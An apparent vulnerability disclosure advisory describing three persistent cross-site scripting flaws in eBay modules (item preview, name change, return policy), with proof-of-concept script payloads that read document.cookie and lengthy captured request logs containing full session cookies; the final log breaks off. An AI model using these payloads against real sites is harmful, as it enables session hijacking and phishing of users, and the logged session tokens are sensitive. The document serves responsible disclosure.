Ebay Xcom - Multiple Remote Vulnerabilities Patched!

Ebay Inc Xcom - 3 nasty flaws got fixed 2015 Q1

A core team researcher of the vulnerability laboratory discovered during the weekend several application-side input validation vulnerabilities in the official ebay inc xcom online service web-application. The vulnerabilities allow remote attacker to inject script codes with persistent attack vector to the application-side of the online service.

The vulnerabilities was reported in march 2014Q1 to the ebay inc security research team. The ebay inc xcom team will acknowledged the research and valid bug submissions by a new entry to the official hall of fame.

1.1 - Ebay Inc Xcom #4 - (Item Preview) Persistent Vulnerability

The first persistent input validation web vulnerability was located in the `item description` value of the `preview` module. The affected context is requested through the vulnerable eBayISAPI.dll file. The vulnerability allows remote attackers to inject script codes by usage of the vulnerable editor spell checker to execute the persistent script codes in the valid preview page link of the item description. The attack vector of the vulnerability is persistent (application-side) and the request method to inject is POST. The valid preview link can be exchanged with an exisiting users session because of no secure implemented cookie restriction. 

To bypass the validation of the editor it is required to use the spell checker code execution in the lithium forum discovered in 2012 by me to paypal. After the inject of the script code the replace, parses the context the frame gets injected. Regular the preview disallow an user to preview with item descriptions with persistent injected script code. To proof we injected a regular frame and used the editor to replace regular texts with script codes in the description. After the unsuccessful proof we tried the same and splitted the tag to bypass the validation successfully.

The security risk of the application-side validation web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.1. Exploitation of the persistent input validation vulnerability requires a low privileged ebay magento application user account and low user interaction. Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external redirect and persistent manipulation of affected or connected module context.

Request Method(s): (Inject)
[+] POST

Vulnerable Module(s):
[+] Editor > Spell Check

Vulnerable Parameter(s):
[+] item description

Affected Module(s):
[+] Item Preview - Description Context

Proof of Concept

The persistent input validation web vulnerability can be exploited by remote attackers with low privileged web-application user account and low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Affected Drafts & Editor Spell Check  >
http://cgi5.ebay.com/ws/eBayISAPI.dll

PoC: Preview
http://previewitem.ebay.com/ws/eBayISAPI.dll?PreviewItemV4&SessionId=233...

PoC: eBayISAPI.dll?PreviewItem
<div><div class="vi-cd"><span style="float: left;" class="vi-br">Seller assumes all responsibility for this listing.</span><span class="vi-xs vi-lk">
Item number: 233253838121</span><div class="vi-iw"><div class="cr-w cr-bt c-gy-bdr"><div class="cr-cnt"><table class="vi-ia-attrGroup" cellpadding="0"
cellspacing="0" width="100%"><tbody><tr><td id="vi-ia-attrTableFirstRowTd">&#8203;&#8203;&#8203;&#8203;&#8203;<h3 class="vi-ia-attrGroupTitle vi-ds2-subt">Item specifics</h3></td></tr>
<tr><td><table cellpadding="0" cellspacing="0" width="100%"><tbody><tr><th id="vi-ia-attrSectionLastRowTd" class="vi-ia-hdAl vi-ia-attrLabel vi-ia-attrColPadding"
align="left" nowrap="nowrap">Condition: </th><td headers="v4-107" id="vi-ia-attrSectionLastRowTd" class="vi-ia-attrColPadding" width="50.0%">
<div style="vertical-align:top">Like New<span style="margin-left:10px"><span><span><a href="" id="BUBbhlp1" class="bh-La"><b class="g-hdn">Click for help</b>
<b class="bh-hlp"></b></a><div style="display:none"><div id="cnbhlp1_oly" class="bh-pad"><div class="bh-bcnt"><span>An item that looks as if it was just taken
out of shrink wrap. No visible wear, and all facets of the item are flawless and intact. See the seller’s listing for full details and description of any imperfections.
</span></div><div class="bh-fc"><div><div class="lb-w"><b class="hl-nv lb-bo"><a href="" class="vi-ia-rm">See all condition definitions<b class="g-hdn">- opens in
a new window or tab</b></a></b></div></div></div><b id="bhlp1_olyARROW" class="bh-hc_lb"></b></div></div><div id="bhlp1_olyOly_Outer" class="g-hdn" style="visibility :
hidden;width:300px"><div id="cnbhlp1_oly"><div></div><a id="bhlp1_oly_stA" href="" class="g-hdn">BubbleHelp Opens Start of layer</a><a id="bhlp1_oly_enA"
href="" class="g-hdn">BubbleHelp End of layer</a></div></div></span></span><div style="clear:both"></div></span><div style="margin-top:5px;">
<span style="margin-left:-86px;margin-right:10px;">Seller Notes:</span><span>""><iframe src=a>%20"><iframe src=a><iframe>%20<iframe
src="x">"><iframe src=a>%20">    "><iframe src=a>%20"><iframe src=a><iframe>%20<img src="x">"><iframe
src=a>%20">"</span></div></div></td><th id="vi-ia-attrSectionLastRowTd" class="vi-ia-hdAl vi-ia-attrLabel vi-ia-attrColPadding" align="left"
nowrap="nowrap">Country/Region of Manufacture: </th><td headers="v4-108" id="vi-ia-attrSectionLastRowTd" class="vi-ia-attrColPadding" width="50.0%">Algeria</td></tr></tbody></table></td></tr></tbody></table></div></div></div></div><table width="100%"><tbody><tr><td class="storeDescTd"
valign="top"><div><div class="item_description"><div id="ngvi_desc_div" class="d-pad"><div>
<div><b>sacandaga [PERSISTENT INJECTED SCRIPT CODE!]"><iframe src="http://vulnerability-lab.com" onload=alert(document.cookie)"><iframe src=http://vulnerability-lab.com onload=alert(document.cookie) <
<iframe src=http://x>%20"> as dasd as "iframe"> fwefwefw  holla</b><br></iframe>&#8203;&#8203;&#8203;&#8203;&#8203;</b></div></div></div></div></div></td></tr></tbody></table><div><div></div></div></div>

Reference(s):
http://previewitem.ebay.com/
http://previewitem.ebay.com/ws/eBayISAPI.dll
http://cgi5.ebay.com/ws/eBayISAPI.dll
http://previewitem.ebay.com/ws/eBayISAPI.dll?PreviewItemV4&SessionId=233...

1.2 - Ebay Inc Xcom #6 - Persistent POST Inject Vulnerability

The second vulnerability was located in the real `name change` (`Namensänderung`) formular. The input validation of the vulnerable `first- & lastname` does not encode scipt codes. Remote attackers are able to jungle over the main website to the real name change module. In the real name change module the change the registration name with an payload. The scipt code executes in both scenarios but only in case without doublequotes it will be changed (written) in the database. The execution occurs directly in the formular and in the top user name context location. The attack vector is persistent and the request method to inject is POST. After the save of the payload it is possible to attack platform users with the manipulated profile values. 

The security risk of the application-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.9. Exploitation of the persistent web vulnerability requires a low privileged web-application user account and low user interaction. Successful exploitation results in session hijacking, persistent phishings attacks, persistent external redirect and malware loads or persistent manipulation of affected or connected module context.

Vulnerable Module(s):
[+] Startseite > Namensänderung > [Namensänderung]

Vulnerable Parameter(s):
[+] firstname
[+] lastname

Affected Domain(s):
[+] ebay.com
[+] namechange.ebay.*

Proof of Concept (PoC):
The persistent input validation web vulnerability can be exploited by remote attackers with low privileged application user account and low or medium user interaction. For security demonstration or to reproduce the vulnerability follow the provided steps and information below to continue.

PoC: firstname
<td><input name="firstname" style="width:500px;" value="" type="text">[PERSISTENT INJECTED SCRIPT CODE!]<img src="x" onerror="prompt(23);">&#8203;&#8203;&#8203;&#8203;&#8203;   "><img src="x" onerror="prompt(23);">">&#8203;&#8203;&#8203;&#8203;&#8203;</td>

PoC: lastname
<td class="Bullets">
<input name="lastname" style="width:500px;" value="" type="text">[PERSISTENT INJECTED SCRIPT CODE!]<img src="x" onerror="prompt(23);">&#8203;&#8203;&#8203;&#8203;&#8203;   "><img src="x" onerror="prompt(23);">">&#8203;&#8203;&#8203;&#8203;&#8203;</td>

PoC: Payload(s)
">%20<img src="a" onerror="prompt(23);">
"<img src="x" onerror="prompt(document.cookie);">

--- PoC Session Logs [POST] ---
POST http://namechange.ebay.de/

Load Flags[LOAD_FROM_CACHE  ] Größe des Inhalts[-1] Mime Type[unbekannt]
   Request Header:
      Host[namechange.ebay.de]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://namechange.ebay.de/]
 Cookie[ebay=%5Ea2p%3D53271e2790000000000.%5Epsi%3DAsoSnBFk*%5EsfLMD%3D1391608831%5Esbf%3D1048576%5Ecos%3D0%5Ecv%3D15555%5Esin%3Din%5Ejs%3D1%5Edv%3D53271766%5E; dp1=bpcid/223570455084ab5^a1p/0532868b5^bl/DE56e97e35^pbf/%2340000000000081a8c200000455084ab5^mpc/0%7C7753344635^kms/in56e97e35^reg/%5EflagReg%3D1%5E5c8d8e00^tzo/-3c53272545^exc/0%3A0%3A2%3A2534ea435^u1p/MjAxNC5rdW56bQ**55084ab5^u1f/Benjamin55084ab5^idm/1532865eb^; cssg=d0a729021440a62067e10281ff8b9953; s=BAQAAAUSucEmyAAWAAAEAClMoaGoyMDE0Lmt1bnptAAMAAVMoaLUwAWUAAlMoaLUjMgAGAAFTKGi1MACoAAFTKGi0MQFKABlTKGi1NTMyNzE3MzUuNzcuMS4xMS43OC4yLjAuMgAMAApTKGi1MTIyNTYzNzkwNgDuAGxTKGi1MQZodHRwOi8vbXkuZWJheS5kZS93cy9lQmF5SVNBUEkuZGxsP015ZUJheSZteWViYXk9JmN1cnJlbnRwYWdlPU15ZUJheUFkZHJlc3NlcyZzc3BhZ2VuYW1lPVNUUkslM0FNRSUzQUxOTEsHABEAD1MnG5owMDEyMTIwMTQua3Vuem0AEgAKUyhotXRlc3RDb29raWUA9AAiUyhotSQyJEFHbGR1QlhiJERkenZyQms4VzNCY25OdWo0WlpYZTAA+AAgUyhotWQwYTcyOTAyMTQ0MGE2MjA2N2UxMDI4MWZmOGI5OTUzALgADFMnGGExMzk1MDcwNzU2OjAAPQAKUyhotTIwMTQua3Vuem1FmLE+27m8Zof+2xnXOm4/NFcHGw**; nonsession=BAQAAAUSucEmyAAaAAEAAClUISrUyMDE0Lmt1bnptAWQAA1UISrUjOGEABAAKVQhKajIwMTQua3Vuem0AygAgXI0YtWM3OGNiZWY5MTQ0MGEzNTgyZGMzZDMxM2ZmYTdhM2IyAMsAAlMnHj05MgFMABlVCEq1NTMyNzE3MzUuNzcuMS4xMS43OC4zLjAuMgFNABlVCEq1NTMyNzE3MzUuNzcuMS4yLjEzNi4wLjAuMgAQAApVCEq1MjAxNC5rdW56bQAzAAlVCEq1MzQxMjgsREVVAPMAIlUISrUkMiRBR2xkdUJYYiREZHp2ckJrOFczQmNuTnVqNFpaWGUwALQAAVMn7vAwAJoAC1MpueoyMDE0Lmt1bnptbgCcADhVCEq1blkrc0haMlByQm1kajZ3Vm5ZK3NFWjJQckEyZGo2QUdrb2VuQzVlTG9RcWRqNng5blkrc2VRPT0AnQAIVQhKtTAwMDAwMDAxPfZj5+XMryhDSD8OFMa8uTDhh84*; cid=fQWajzwBNP9yfsZ3%232235704; lucky9=9735524; npii=btguid/c78cbef91440a3582dc3d313ffa7a3b255084a4a^cguid/c77cfce61440a56b23d61f96fe2e024155084a4a^; ds1=ats/0; ns1=BAQAAAUSucEmyAAaAANgAYlUISrVjOTR8NjAxXjEzOTUwNzAyNzMwMTdeTWpBeE5DNXJkVzU2YlE9PV4xXjN8Mnw2NXw1MHw1fDR8MTF8N14xXjJeNF4zXjEyXjEyXjJeMV4xXjBeMV4wXjBeMjE0NzQ5MTc3OQClAA1VCEq1MTIyNTYzNzkwNi8wO0yWn93iOeekHlbGoiabaz+eh5SQ; secses=BAQAAAUSucEmyAAaAAUsAGVUISrU1MzI3MTczNS43Ny4xLjExLjc4LjIuMC4y0niei+BIO3Yw57q3p8I3L/TNtoI*; shs=BAQAAAUSucEmyAAaAAVUADlMwUbQ1MTYyMjA1MzEwMDQsM9g7wvvmFa4cmHqHt8ygpU/NRi+3; ds2=asotr/b1Brzzzzzzzz^; dnc-ebay-de=e466b3644255378e63e0f112f81ebb0abf2ad87aad2a1286866a8d066286e5fc; ebay_dnc=u8sqslc4u5voc8605b5o7a8ag3; ssg=uld/1395070822457%5E]
   POST-Daten:
      firstname[+%22%3E%3C[MALICIOUS SCRIPT CODE!]%2823%29%3B%3E]
      lastname[+%22%3E%3C[MALICIOUS SCRIPT CODE!]%2823%29%3B%3E]
      reason_code[NCP]
      request_comment[+%22%3E%3C[MALICIOUS SCRIPT CODE!]%2823%29%3B%3E+++bug+bounty+program+test+-+bkm]
      action[proceed]

Reference(s):
https://scgi.ebay.de/ws/eBayISAPI.dll?ChangeRegistrationPreview
https://scgi.ebay.de/ws/eBayISAPI.dll?ChangeRegistrationShow  (Click Change original Registration Account "Name")
https://signin.ebay.de/ws/eBayISAPI.dll?SignIn&runame=namechange1 (Login as the regular user account)
https://signin.ebay.de/ws/eBayISAPI.dll?SignIn&runame=namechange2 (Exchange the user values with the name with a persistent script code payload)
http://namechange.ebay.de/ (persistent execution with save in the frontend & executable script code in backend too!)

1.3 - Ebay Inc Xcom #7 - (Policy) Persistent Vulnerability

The third vulnerability was located in the `my ebay account > return policy > edit returm policy module. The vulnerable input is the return policy name value. The persistent script code execution occurs in the affected vulnerable sections of the connected `businesspolicy/manage` and `Activity Log - Item Listing` modules. The attack vector is persistent and the severity is medium.

The security risk of the persistent web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.0.Exploitation of the persistent input validation vulnerability requires a low privileged web-application user account and low user interaction. Successful exploitation results in session hijacking, persistent phishings attacks, persistent external redirect and malware loads or persistent manipulation of affected and connected module context.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] My Account > Return Policy > Edit Return Policy (http://www.bizpolicy.ebay.com/businesspolicy/)

Vulnerable Input(s):
[+] Edit return policy  >  Policy name

Vulnerable Parameter(s):
[+] name

Affected Module(s):
[+] ebay.com/businesspolicy/manage
[+] Activity Log - Item Listing > Name

Proof of Concept (PoC):
The application-side cross site web vulnerability can be exploited by remote attackers with low privileged application user account and low or medium user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Manage your business policies
http://www.bizpolicy.ebay.com/businesspolicy/return?profileId=5284418601...Return+Policy+1+
%22%3E%3Cimg+src%3Dx+onerror%3Dprompt([PERSISTENT INJECTED SCRIPT CODES!])%3B%3E&profileDesc=Returns+Accepted%2C+Buyer%2C+14+Days%2C+Money
+Back&catDefault=on&returnsAcceptedOption=ReturnsAccepted&returnsWithinOption=Days_14&refundOption=MoneyBack&shippingCostPaidByOption=Buyer&description=&_=1395079926788

PoC: Manage your business policies

<a href="return?totalPages=1&profileType=RETURN_POLICY&profileId=52844186015&pageNumber=1&source=manage">Return Policy 1 [PERSISTENT SCRIPT CODE EXECUTION!]"><img src="x" onerror="prompt(23);"></a>

--- PoC Session Logs [GET] (Injection)---
Status: 200[OK]
GET http://www.bizpolicy.ebay.com/businesspolicy/return?profileId=5284418601... INJECTED SCRIPT CODE!])%3B%3E&profileDesc=Returns+Accepted%2C+Buyer%2C+14+Days%2C+Money+Back+%22%3E%3C[MALICIOUS INJECTED SCRIPT CODE!])%3B%3E++++%22%3E%3C[MALICIOUS INJECTED SCRIPT CODE!])%3B%3E&catDefault=on&returnsAcceptedOption=ReturnsAccepted&returnsWithinOption=Days_14&refundOption=MoneyBack&shippingCostPaidByOption=Buyer&description=+%22%3E%3C[MALICIOUS INJECTED SCRIPT CODE!])%3B%3E+%22%3E%3C[MALICIOUS INJECTED SCRIPT CODE!])%3B%3E+%22%3E%3C[MALICIOUS INJECTED SCRIPT CODE!])%3B%3E+%22%3E%3C[MALICIOUS INJECTED SCRIPT CODE!])%3B%3E+%22%3E%3C[MALICIOUS INJECTED SCRIPT CODE!])%3B%3E+%22%3E%3C[MALICIOUS INJECTED SCRIPT CODE!])%3B%3E+%22%3E%3C[MALICIOUS INJECTED SCRIPT CODE!])%3B%3E+%22%3E%3C[MALICIOUS INJECTED SCRIPT CODE!])%3B%3E+%22%3E%3C[MALICIOUS INJECTED SCRIPT CODE!])%3B%3E+%22%3E%3C[MALICIOUS INJECTED SCRIPT CODE!])%3B%3E&_=1395079183016 Load Flags[LOAD_BACKGROUND  ] Größe des Inhalts[-1] Mime Type[application/json]
   Request Header:
      Host[www.bizpolicy.ebay.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
      Accept[application/json, text/javascript, */*; q=0.01]
      Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      Referer[http://www.bizpolicy.ebay.com/businesspolicy/return?totalPages=1&profile...
      Cookie[ebay=%5EsfLMD%3D1391608831%5Esin%3Din%5Edv%3D532737c1%5Esbf%3D%23200000000000c0048002004%5Ecos%3D1%5Ecv%3D15555%5Ejs%3D1%5Epsi%3DAMiGpAAE*%5E; dp1=bkms/in56e99ed8^u1f/Benjamin55086b58^tzo/-3c532745e8^idm/153274c6b^exc/0%3A0%3A0%3A0534ec4d8^pcid/159931376355086b58^reg/%5EflagReg%3D1%5E56e99ed8^mms/0.53272b71.053288945^mpc/0%7C77533466d8^a1p/053288958^u1p/MjAxNC5rdW56bQ**55086b58^bl/DE56e99ed8^pbf/%2340000000000081a88200000455086b58^; s=BAQAAAUSucEmyAAWAAAwAClMoiVgxMjI1NjM3OTA2APgAIFMoiVhkMGE1YWU0NTE0NDBhNDI4YjM4MmZlMzJmZmZmZmU4NAAGAAFTKIlYMAFKABhTKIlYNTMyNzM3YzAuMC4xLjExLjc4LjIuMC4yAWUAAlMoiVgjMgASAApTKIlYdGVzdENvb2tpZQA9AApTKIlYMjAxNC5rdW56bQCoAAFTKHhdMQD0ACJTKIlYJDIkQVBLaE5ZL1AkLnVqQ2dESkNIYi52bU9vNXpMUlR6MQDuAH5TKIlYMQZodHRwOi8vbXkuZWJheS5jb20vd3MvZUJheUlTQVBJLmRsbD9NeWVCYXkmbXllYmF5PSZ0b2tlbmlkPTQ4JmN1cnJlbnRwYWdlPU15ZUJheVByZWZlcmVuY2VzJnNzcGFnZW5hbWU9c3VjY2Vzc0FkUHJlZmVyZW5jZXMHAAEAClMoeF0yMDE0Lmt1bnptALgADFMnOQQxMzk1MDc5MzUwOjAAAwABUyiJWDAv3s3bBB0RgoZUFN7eKtp3q+XXQw**; nonsession=BAQAAAUSucEmyAAaAAJ0ACFUIa1gwMDAwMDAwMQC0AAFTJ0XoMAFkAANVCGtYIzhhADMACVUIa1gzNDEyOCxERVUAywABUyc+4DkAmgALUynJ3TIwMTQua3Vuem1uAEAAClUIa1gyMDE0Lmt1bnptABAAClUIa1gyMDE0Lmt1bnptAPMAIlUIa1gkMiRBUEtoTlkvUCQudWpDZ0RKQ0hiLnZtT281ekxSVHoxAMoAIFyNOVhjNzdjZjNkZjE0NDBhMzU4NmMyNDRhZDRmZmZmZmU0ZgFNABhVCGtYNTMyNzM3Y2EuMC4xLjIuMTM2LjAuMC4yAAQAClUIWl0yMDE0Lmt1bnptAJwAOFUIa1huWStzSFoyUHJCbWRqNndWblkrc0VaMlByQTJkajZBR2tvZW5DNWVMb1FxZGo2eDluWStzZVE9PQFMABhVCGtYNTMyNzM3YzAuMC4xLjExLjc4LjMuMC4ymyXRGsd3A9RVp8GyedSQ2Mpg46Y*; cssg=d0a5ae451440a428b382fe32fffffe84; cid=xAMhIMTTiG9hpoAp%231599313763; lucky9=9393341; npii=btguid/c77cf3df1440a3586c244ad4fffffe4f55086b58^cguid/c77cfce61440a56b23d61f96fe2e024155086b58^; ds1=ats/1395074781098; ns1=BAQAAAUSucEmyAAaAAKUADVUIa1gxMjI1NjM3OTA2LzA7ps7P/+muFmbIebGiTM4y7QojOkA*; secses=BAQAAAUSucEmyAAaAAUsAGFUIa1g1MzI3MzdjMC4wLjEuMTEuNzguMi4wLjLdM4p5xXUvbFN7uT+3s6eDqkVrhQ**; shs=BAQAAAUSucEmyAAaAAVUADlMwYV01MTYyMjA1MzEwMDQsM0lQMoD56FArTr0IRZNrcW0RgsFk; JSESSIONID=A6DA3F8E8AAAD1275E907380FF01C01A; ds2=sotr/b7qgDzzzzzzz^]
      Connection[keep-alive]
   Response Header:
      rlogid[t6al%7Cwliodz%3F%3Cwk%7D%3Ee36e*715f-144d1330b33-0x95]
      Set-Cookie[JSESSIONID=5C2569C0FFBDC86ABDFC0BFBE77658C6; Path=/
ds2=;Domain=.ebay.com;Path=/
ds1=ats/1395074781098;Domain=.ebay.com;Path=/
ebay=%5EsfLMD%3D1391608831%5Esin%3Din%5Esbf%3D%23200000000000c0048002004%5Edv%3D532737c1%5Ecos%3D1%5Ecv%3D15555%5Ejs%3D1%5E;Domain=.ebay.com;Path=/
cssg=d0a5ae451440a428b382fe32fffffe84;Domain=.ebay.com;Path=/
ns1=BAQAAAUSucEmyAAaAAKUADVUIa5MxMjI1NjM3OTA2LzA7u3yVKIuPORIyGkkPfr8OcQuzK7o*;Domain=.ebay.com;Expires=Tue, 17-Mar-2015 17:59:47 GMT;Path=/; HttpOnly
dp1=bkms/in56e99f13^u1f/Benjamin55086b93^tzo/-3c53274623^idm/153274c6b^exc/0%3A0%3A0%3A0534ec513^pcid/159931376355086b93^reg/%5EflagReg%3D1%5E56e99f13^mpc/0%7C7753346713^mms/0.53272b71.053288945^a1p/053288993^u1p/MjAxNC5rdW56bQ**55086b93^bl/DE56e99f13^pbf/%2340000000000081a88200000455086b93^;Domain=.ebay.com;Expires=Wed, 16-Mar-2016 17:59:47 GMT;Path=/
s=BAQAAAUSucEmyAAWAAAwAClMoiZMxMjI1NjM3OTA2AAYAAVMoiZMwAPgAIFMoiZNkMGE1YWU0NTE0NDBhNDI4YjM4MmZlMzJmZmZmZmU4NAFKABhTKImTNTMyNzM3YzAuMC4xLjExLjc4LjIuMC4yAWUAAlMoiZMjMgASAApTKImTdGVzdENvb2tpZQA9AApTKImTMjAxNC5rdW56bQCoAAFTKHhdMQD0ACJTKImTJDIkQVBLaE5ZL1AkLnVqQ2dESkNIYi52bU9vNXpMUlR6MQDuAH5TKImTMQZodHRwOi8vbXkuZWJheS5jb20vd3MvZUJheUlTQVBJLmRsbD9NeWVCYXkmbXllYmF5PSZ0b2tlbmlkPTQ4JmN1cnJlbnRwYWdlPU15ZUJheVByZWZlcmVuY2VzJnNzcGFnZW5hbWU9c3VjY2Vzc0FkUHJlZmVyZW5jZXMHAAEAClMoeF0yMDE0Lmt1bnptALgADFMnOT8xMzk1MDc5MzUwOjAAAwABUyiJkzDDEUmmricxEndGpoBjz/CyDgT4jg**;Domain=.ebay.com;Path=/; HttpOnly
secses=BAQAAAUSucEmyAAaAAUsAGFUIa5M1MzI3MzdjMC4wLjEuMTEuNzguMi4wLjIkh3iWsd46p2pvujmnDykXMnpWKA**;Domain=.ebay.com;Path=/; HttpOnly
nonsession=BAQAAAUSucEmyAAaAAJ0ACFUIa5MwMDAwMDAwMQC0AAFTJ0YjMAFkAANVCGuTIzhhADMACVUIa5MzNDEyOCxERVUAywACUyc/GzEwAJoAC1Mpyd0yMDE0Lmt1bnptbgBAAApVCGuTMjAxNC5rdW56bQAQAApVCGuTMjAxNC5rdW56bQDKACBcjTmTYzc3Y2YzZGYxNDQwYTM1ODZjMjQ0YWQ0ZmZmZmZlNGYA8wAiVQhrkyQyJEFQS2hOWS9QJC51akNnREpDSGIudm1PbzV6TFJUejEBTQAYVQhrkzUzMjczN2NhLjAuMS4yLjEzNi4wLjAuMgAEAApVCFpdMjAxNC5rdW56bQFMABhVCGuTNTMyNzM3YzAuMC4xLjExLjc4LjMuMC4yAJwAOFUIa5NuWStzSFoyUHJCbWRqNndWblkrc0VaMlByQTJkajZBR2tvZW5DNWVMb1FxZGo2eDluWStzZVE9PX7IQgibAoX1mYyjT4uLQSg4TVkI;Domain=.ebay.com;Expires=Tue, 17-Mar-2015 17:59:47 GMT;Path=/
lucky9=9393341;Domain=.ebay.com;Expires=Sat, 16-Mar-2019 17:59:47 GMT;Path=/]
      Content-Encoding[gzip]
      Content-Type[application/json;charset=UTF-8]
      Transfer-Encoding[chunked]
      Date[Mon, 17 Mar 2014 17:59:47 GMT]
      Server[eBay Server]

Status: 200[OK]
GET http://my.ebay.com/ws/eBayISAPI.dll?GetGHNotificationsCommand&up=1&ts=-1...
Load Flags[LOAD_BACKGROUND  ] Größe des Inhalts[22] Mime Type[text/plain]
   Request Header:
      Host[my.ebay.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
      Accept[text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01]
      Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      Referer[http://my.ebay.com/ws/eBayISAPI.dll?MyEbayBeta&CurrentPage=MyeBayNextNot...
      Cookie[ebay=%5EsfLMD%3D1391608831%5Esin%3Din%5Esbf%3D%23200000000000c0048002004%5Edv%3D532737c1%5Ecos%3D1%5Ecv%3D15555%5Ejs%3D1%5E; dp1=bkms/in56e99f13^u1f/Benjamin55086b93^tzo/-3c53274623^idm/153274c6b^exc/0%3A0%3A0%3A0534ec513^pcid/159931376355086b93^reg/%5EflagReg%3D1%5E56e99f13^mpc/0%7C7753346713^mms/0.53272b71.053288945^a1p/053288993^u1p/MjAxNC5rdW56bQ**55086b93^bl/DE56e99f13^pbf/%2340000000000081a88200000455086b93^; s=BAQAAAUSucEmyAAWAAAwAClMoiZMxMjI1NjM3OTA2AAYAAVMoiZMwAPgAIFMoiZNkMGE1YWU0NTE0NDBhNDI4YjM4MmZlMzJmZmZmZmU4NAFKABhTKImTNTMyNzM3YzAuMC4xLjExLjc4LjIuMC4yAWUAAlMoiZMjMgASAApTKImTdGVzdENvb2tpZQA9AApTKImTMjAxNC5rdW56bQCoAAFTKHhdMQD0ACJTKImTJDIkQVBLaE5ZL1AkLnVqQ2dESkNIYi52bU9vNXpMUlR6MQDuAH5TKImTMQZodHRwOi8vbXkuZWJheS5jb20vd3MvZUJheUlTQVBJLmRsbD9NeWVCYXkmbXllYmF5PSZ0b2tlbmlkPTQ4JmN1cnJlbnRwYWdlPU15ZUJheVByZWZlcmVuY2VzJnNzcGFnZW5hbWU9c3VjY2Vzc0FkUHJlZmVyZW5jZXMHAAEAClMoeF0yMDE0Lmt1bnptALgADFMnOT8xMzk1MDc5MzUwOjAAAwABUyiJkzDDEUmmricxEndGpoBjz/CyDgT4jg**; nonsession=BAQAAAUSucEmyAAaAAJ0ACFUIa5MwMDAwMDAwMQC0AAFTJ0YjMAFkAANVCGuTIzhhADMACVUIa5MzNDEyOCxERVUAywACUyc/GzEwAJoAC1Mpyd0yMDE0Lmt1bnptbgBAAApVCGuTMjAxNC5rdW56bQAQAApVCGuTMjAxNC5rdW56bQDKACBcjTmTYzc3Y2YzZGYxNDQwYTM1ODZjMjQ0YWQ0ZmZmZmZlNGYA8wAiVQhrkyQyJEFQS2hOWS9QJC51akNnREpDSGIudm1PbzV6TFJUejEBTQAYVQhrkzUzMjczN2NhLjAuMS4yLjEzNi4wLjAuMgAEAApVCFpdMjAxNC5rdW56bQFMABhVCGuTNTMyNzM3YzAuMC4xLjExLjc4LjMuMC4yAJwAOFUIa5NuWStzSFoyUHJCbWRqNndWblkrc0VaMlByQTJkajZBR2tvZW5DNWVMb1FxZGo2eDluWStzZVE9PX7IQgibAoX1mYyjT4uLQSg4TVkI; cssg=d0a5ae451440a428b382fe32fffffe84; cid=xAMhIMTTiG9hpoAp%231599313763; lucky9=9393341; npii=btguid/c77cf3df1440a3586c244ad4fffffe4f55086b58^cguid/c77cfce61440a56b23d61f96fe2e024155086b58^; ds1=ats/1395074781098; ns1=BAQAAAUSucEmyAAaAAKUADVUIa5MxMjI1NjM3OTA2LzA7u3yVKIuPORIyGkkPfr8OcQuzK7o*; secses=BAQAAAUSucEmyAAaAAUsAGFUIa5M1MzI3MzdjMC4wLjEuMTEuNzguMi4wLjIkh3iWsd46p2pvujmnDykXMnpWKA**; shs=BAQAAAUSucEmyAAaAAVUADlMwYV01MTYyMjA1MzEwMDQsM0lQMoD56FArTr0IRZNrcW0RgsFk; JSESSIONID=37628EA4B997D2976280801A071E51EE; ds2=]
      Connection[keep-alive]
   Response Header:
      Server[Apache-Coyote/1.1]
      rlogid[p4n%7Cceb%7Cehq%60%3C%3Dsm%7E0a54d.g%6047-144d1334a30-0x133]
      Set-Cookie[ds1=ats/1395074781098; Domain=.ebay.com; Path=/
ds2=; Domain=.ebay.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
ebay=%5EsfLMD%3D1391608831%5Esbf%3D%23200000000000c0048002004%5Ecos%3D1%5Ecv%3D15555%5Esin%3Din%5Ejs%3D1%5Edv%3D532737c1%5E; Domain=.ebay.com; Path=/
dp1=ba1p/0532889a3^bl/DE56e99f23^kms/in56e99f23^reg/%5EflagReg%3D1%5E56e99f23^pcid/159931376355086ba3^mpc/0%7C7753346723^pbf/%2340000000000081a88200000455086ba3^tzo/-3c53274633^exc/0%3A0%3A0%3A0534ec523^mms/0.53272b71.053288945^u1p/MjAxNC5rdW56bQ**55086ba3^u1f/Benjamin55086ba3^idm/153274c6b^; Domain=.ebay.com; Expires=Wed, 16-Mar-2016 18:00:03 GMT; Path=/
ns1=BAQAAAUSucEmyAAaAAKUADVUIa6MxMjI1NjM3OTA2LzA7QZZOFOpy8ayMp8onGgFulfsBYFA*;Domain=.ebay.com;Expires=Tue, 17-Mar-2015 18:00:03 GMT;Path=/; HttpOnly
cssg=d0a5ae451440a428b382fe32fffffe84; Domain=.ebay.com; Path=/
